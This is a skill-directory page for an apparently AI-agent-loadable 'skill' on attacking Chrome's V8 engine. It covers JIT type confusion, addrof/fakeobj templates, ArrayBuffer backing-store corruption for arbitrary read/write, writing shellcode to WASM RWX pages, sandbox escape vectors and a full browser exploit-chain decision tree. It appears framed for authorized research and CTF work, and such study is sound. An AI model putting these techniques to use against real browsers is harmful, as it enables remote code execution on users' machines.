選項
首頁首頁 Skill 瀏覽器自動化 browser-exploitation-v8

browser-exploitation-v8

yaklang/hack-skills yaklang/hack-skills

瀏覽器與 V8 攻擊指南。用於利用 JavaScript 引擎漏洞(包括 JIT 類型混淆、邊界消除錯誤以及 V8 沙箱繞過),以在 Chrome/Chromium 中實現渲染引擎遠端程式碼執行(RCE)及沙箱逃脫。

...展開全部
17
更新時間 2026-08-25

關於browser-exploitation-v8

一份針對 Google V8(Chrome/Chromium)中 JavaScript 引擎漏洞進行攻擊的安全測試指南。 本指南詳述了 V8 的編譯流程——原始碼先被解析為抽象語法樹 (AST),接著被解釋為 Ignition 位元組碼,隨後透過 Sparkplug、Maglev 以及 TurboFan 優化型 JIT 進行逐步優化;當預測執行失敗時,則會進行去優化並回退至位元組碼。 文中亦詳述了基礎內部機制:標記指針(SMIs 與堆疊物件)、透過 4GB 區域內「籠子基底」的 32 位元偏移量來尋址物件的指針壓縮技術、Maps(隱藏類別)、元素類型、寫入屏障,以及 Orinoco 垃圾回收器。

絕大部分內容列舉了常見的錯誤類別,以及用於將其武器化的基本元件。錯誤類別包括 JIT 類型混淆、不正確的邊界檢查消除、原型鏈混淆、TurboFan 縮減與類型檢查錯誤、SharedArrayBuffer 競態條件,以及內建函式中的「偏移一」錯誤。 本書從記憶體損毀漏洞出發,構建經典的 addrof 和 fakeobj 原始技術(透過混淆物件元素與 double 元素陣列),進而透過受損的 Float64Array 或 ArrayBuffer 後備儲存區升級為任意讀寫,並涵蓋因混淆陣列邊界及 WASM RWX 頁面所導致的越界存取。

請在受控且經授權的環境中,用於研究或重現渲染器遠端代碼執行(RCE)及沙箱逃脫鏈。 本文說明如何強制觸發 JIT 優化(透過多次呼叫函式,或在 d8 中呼叫 %OptimizeFunctionOnNextCall 內建函式),以及 V8 沙箱與指標壓縮如何限制攻擊利用——由於後備儲存區指標始終受限於沙箱內,若要存取整個進程的記憶體,則需進行獨立的沙箱逃脫。 相關連結指向沙箱逃逸技術、堆疊利用、堆疊溢位與 ROP,以及二進位保護繞過,並附有更深入的 V8_EXPLOITATION_PATTERNS.md 參考資料。

常見問題

這本操作手冊涵蓋哪些類型的 V8 漏洞?

JIT 類型混淆、不正確的邊界檢查消除、原型鏈混淆、TurboFan 縮減與類型器漏洞、SharedArrayBuffer 競態條件,以及內建函式中的「差一」錯誤。

其中描述的核心利用原語有哪些?

addrof(洩漏物件位址)與 fakeobj(偽造物件參照),透過混淆物件元素陣列與雙精度元素陣列來建構,再結合受損的 Float64Array 或 ArrayBuffer 後端儲存區,進而實現任意讀寫。

V8 的沙箱機制與指標壓縮功能如何影響漏洞利用?

由於 V8 8.0 起,物件是透過 4GB 區域內「籠子」基址的 32 位元偏移量來定位,且 ArrayBuffer 後備儲存區為沙箱指標,因此要取得完整進程記憶體存取權限,必須先進行獨立的沙箱逃脫。

如何強制將函式進行 JIT 優化以供測試?

多次呼叫該函式(例如 100000 次迭代)以觸發 TurboFan,或在 d8 命令列介面中,於呼叫前使用 %OptimizeFunctionOnNextCall 內建指令。

這涉及哪些相關技能?

沙箱逃逸技術(IPC/Mojo 渲染器逃逸)、堆記憶體利用、堆疊溢位與 ROP,以及二進位保護繞過,此外還有《V8_EXPLOITATION_PATTERNS.md》這份進階參考文件,其中包含詳細的範本。

所有檔案

2 個檔案V8_EXPLOITATION_PATTERNS.md8.9KB檢視SKILL.md11.5 KB檢視
在 GitHub 上查看

AI LOAD INSTRUCTION: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.

0. RELATED ROUTING

  • sandbox-escape-techniques — Chrome renderer sandbox escape via IPC/Mojo
  • heap-exploitation — general heap concepts applicable to V8 heap
  • stack-overflow-and-rop — ROP concepts for native code execution after V8 escape
  • binary-protection-bypass — ASLR/NX bypass in browser context

Advanced Reference

Load V8_EXPLOITATION_PATTERNS.md when you need:

  • Detailed exploitation patterns and code templates
  • Heap layout manipulation and GC interaction
  • V8 sandbox bypass techniques
  • Object map confusion patterns

1. V8 ARCHITECTURE

Compilation Pipeline

JavaScript Source    ↓ Parser  AST (Abstract Syntax Tree)    ↓ Ignition  Bytecode (interpreted, profiling)    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)  Baseline code (fast startup)    ↓ Maglev (mid-tier, V8 ≥ 10.2)  Mid-optimized code    ↓ TurboFan (optimizing JIT)  Optimized machine code (with speculative optimizations)    ↓ Deoptimization (if speculation fails)  Back to Ignition bytecode

Key V8 Concepts

ConceptDescription
Tagged pointersSMI (Small Integer): value << 1, HeapObject: ptr | 1
Pointer compressionV8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox)
Maps (Hidden Classes)Define object shape: property names, types, offsets
Elements kindsInternal array type: PACKED_SMI_ELEMENTS, PACKED_DOUBLE_ELEMENTS, PACKED_ELEMENTS, etc.
Write barrierGC bookkeeping when heap pointers are written
Garbage collectionOrinoco GC: minor (Scavenge) and major (Mark-Compact)

Object Representation (64-bit, pointer compression)

HeapObject in V8 heap (compressed):  +0x00: Map pointer (compressed, 32-bit offset)  +0x04: Properties/Hash  +0x08: Elements pointer (compressed)  +0x0C: Length (for arrays)  +0x10: Inline properties or backing store data

2. COMMON V8 BUG CLASSES

Bug ClassDescriptionExample
JIT Type ConfusionTurboFan assumes wrong type after optimizationSpeculative type guard eliminated, wrong operation applied
Incorrect Bounds EliminationJIT removes array bounds check based on wrong range analysisCheckBounds node eliminated → OOB access
Prototype Chain ConfusionOptimization assumes stable prototype, mutations invalidatePrototype change after optimization → wrong property access
Turbofan Reduction BugIncorrect strength reduction or constant foldingInteger overflow in range analysis
Race ConditionSharedArrayBuffer + worker thread raceType confusion via concurrent modification
Off-by-one in BuiltinBoundary error in built-in function implementationString/Array bounds
Typer BugIncorrect type range computation in TurboFanTyper says value is in [0, N] but can be N+1

Triggering JIT Optimization

function vuln(arr) {    // ... vulnerable code path ...}// Force optimization by calling many timesfor (let i = 0; i < 100000; i++) {    vuln(arr);}// Or use V8 intrinsics (d8 only):%OptimizeFunctionOnNextCall(vuln);vuln(arr);

3. EXPLOITATION PRIMITIVES

addrof — Leak Object Address

// Goal: get the raw heap address of a JavaScript object// Method: type confusion between object array and float array// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:// - Write object reference to element of object array// - Read same element as double from confused float array// - Float bits = compressed pointer of the objectfunction addrof(obj) {    // Setup depends on specific bug    // Typically: trigger type confusion so array reads obj ref as float    object_array[0] = obj;    return ftoi(confused_float_array[0]);  // float-to-int conversion}

fakeobj — Create Fake Object Reference

// Goal: create a JS reference to an arbitrary heap address// Method: reverse of addrof — write float (raw pointer bits) to float array,//         read from confused object array → treated as object referencefunction fakeobj(addr) {    confused_float_array[0] = itof(addr);  // int-to-float conversion    return object_array[0];                 // now a "pointer" to addr}

Building Arbitrary R/W from addrof + fakeobj

// 1. Create a Float64Array with known layoutlet rw_array = new Float64Array(0x100);let rw_array_addr = addrof(rw_array);// 2. Fake a Float64Array object at controlled address with modified backing_store// 3. Corrupt backing_store pointer to target address// 4. Read/write through the fake Float64Array → arbitrary R/Wfunction read64(addr) {    // Set fake array's backing_store = addr    write_to_fake_backingstore(addr);    return fake_float64array[0];}function write64(addr, value) {    write_to_fake_backingstore(addr);    fake_float64array[0] = value;}

4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS

When TurboFan incorrectly eliminates bounds checks:

function trigger(arr, idx) {    // TurboFan thinks idx is always < arr.length    // But due to bug, idx can exceed bounds    return arr[idx];  // OOB read}// OOB read adjacent memory (next heap object's metadata)// OOB write to corrupt next object's map/elements/length

What's Adjacent in V8 Heap?

Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:

let arr1 = new Array(0x10);    // spray objectlet arr2 = new Float64Array(0x10);  // target: adjacent to arr1// OOB from arr1 can reach arr2's metadata// Corrupt arr2's length → unconstrained OOB on arr2

5. ARRAYBUFFER ARBITRARY R/W

ArrayBuffer's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.

let ab = new ArrayBuffer(0x100);let view = new DataView(ab);// If we can overwrite ab's backing_store pointer:// ab.backing_store = target_addr// view.getFloat64(0) → reads 8 bytes from target_addr// view.setFloat64(0, val) → writes to target_addr

V8 Sandbox (Pointer Compression) Impact

Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):

  • ArrayBuffer.backing_store is a sandbox pointer (within the V8 cage, 4GB region)
  • Cannot directly point outside the V8 cage
  • Need sandbox escape to get full process memory access

6. WASM RWX PAGE

WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.

// Allocate WASM module → JIT compiles to RWX pagelet wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);let mod = new WebAssembly.Module(wasm_code);let instance = new WebAssembly.Instance(mod);// instance.exports.func → points to RWX page// If we can find and write to this page:// 1. addrof(instance) → find WASM instance object// 2. Follow pointers: instance → jump_table_start → RWX page// 3. Use arbitrary write to overwrite RWX page with shellcode// 4. Call instance.exports.func() → executes shellcode

Modern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.

7. V8 SANDBOX

Architecture (V8 ≥ 11.x)

Process Virtual Address Space:┌──────────────────────────────────────┐│  V8 Sandbox Cage (4GB region)        ││  ├── V8 Heap (JS objects)            ││  ├── ArrayBuffer backing stores      ││  ├── WASM memory                     ││  └── External pointer table          │├──────────────────────────────────────┤│  Process memory outside cage         ││  ├── libc, Chrome code               ││  ├── Stack                           ││  └── Other allocations               │└──────────────────────────────────────┘

Sandbox Escape Vectors

VectorMethod
External pointer tableCorrupt entries in the external pointer table to reference arbitrary addresses
WASM code pointerOverwrite WASM function entry to jump to controlled shellcode
JIT code corruptionWrite to JIT code page via race condition or confused pointer
Mojo IPC (Chrome)Exploit Chrome IPC to attack browser process from compromised renderer
Backing store seal bypassFind type confusion to get unsandboxed pointer

8. CHROME SANDBOX ESCAPE (OVERVIEW)

After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:

StageTargetExample
Renderer exploitV8 / Blink DOMType confusion → shellcode
IPC/Mojo bugChrome IPC layerUse-after-free in Mojo interface
Browser process exploitPrivileged browser processCode execution outside sandbox

Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.

9. TOOLS

# V8 debuggingd8 --allow-natives-syntax exploit.js  # Enable V8 intrinsics (%DebugPrint, etc.)d8 --trace-turbo exploit.js           # Dump TurboFan IRd8 --print-opt-code exploit.js        # Print optimized machine code# Turbolizer: visual TurboFan IR graph# Chrome DevTools Memory panel: heap snapshots# Build V8 for debugginggit clone https://chromium.googlesource.com/v8/v8.gitgclient syncgn gen out/debug --args='is_debug=true v8_enable_sandbox=false'ninja -C out/debug d8

10. DECISION TREE

V8 vulnerability identified├── Bug type?│   ├── JIT type confusion → trigger optimization, confuse array element kinds│   ├── Bounds check elimination → OOB read/write on array│   ├── Typer bug → incorrect range leads to OOB│   └── Builtin bug → direct memory corruption primitive│├── Build primitives│   ├── Can confuse object array ↔ float array?│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap│   ├── OOB on array?│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W│   └── Direct write primitive?│       └── Target WASM instance or ArrayBuffer metadata│├── V8 sandbox enabled?│   ├── YES (modern Chrome) →│   │   ├── R/W limited to V8 cage (4GB)│   │   ├── Need sandbox escape: external pointer table corruption,│   │   │   WASM code pointer overwrite, or Mojo bug│   │   └── Then proceed to shellcode execution│   └── NO (older V8, CTF, d8) →│       ├── Corrupt ArrayBuffer backing_store → absolute R/W│       └── Overwrite WASM RWX page → shellcode│├── Code execution method│   ├── WASM RWX page available? → write shellcode, call WASM func│   ├── JIT code writable? → overwrite JIT code│   └── ROP needed? → corrupt stack or return address│└── Full browser exploit chain    ├── Stage 1: V8 bug → renderer RCE    ├── Stage 2: Mojo IPC bug → browser process compromise    └── Stage 3: OS-level escalation (if needed)

所有檔案

2 個檔案

安裝 browser-exploitation-v8

請下載並將技能檔案解壓縮至您的 .claude/skills/ 目錄中。

下載 ZIP

複製儲存庫並將技能檔案複製到您的專案中。

git clone https://github.com/yaklang/hack-skills/blob/main/skills/browser-exploitation-v8/SKILL.md # Copy SKILL.md to your .claude/skills/ directory

複製 複製
快速設定: 將技能資料夾複製到 .claude/skills/,Claude 會自動偵測並使用該技能

相關技能

playwright-cli
更新時間 2026-06-29
frontend-testing-best-practices
更新時間 2026-07-07
Playwright Browser Automation
更新時間 2026-06-29
playwright-generate-test
更新時間 2026-06-29
OR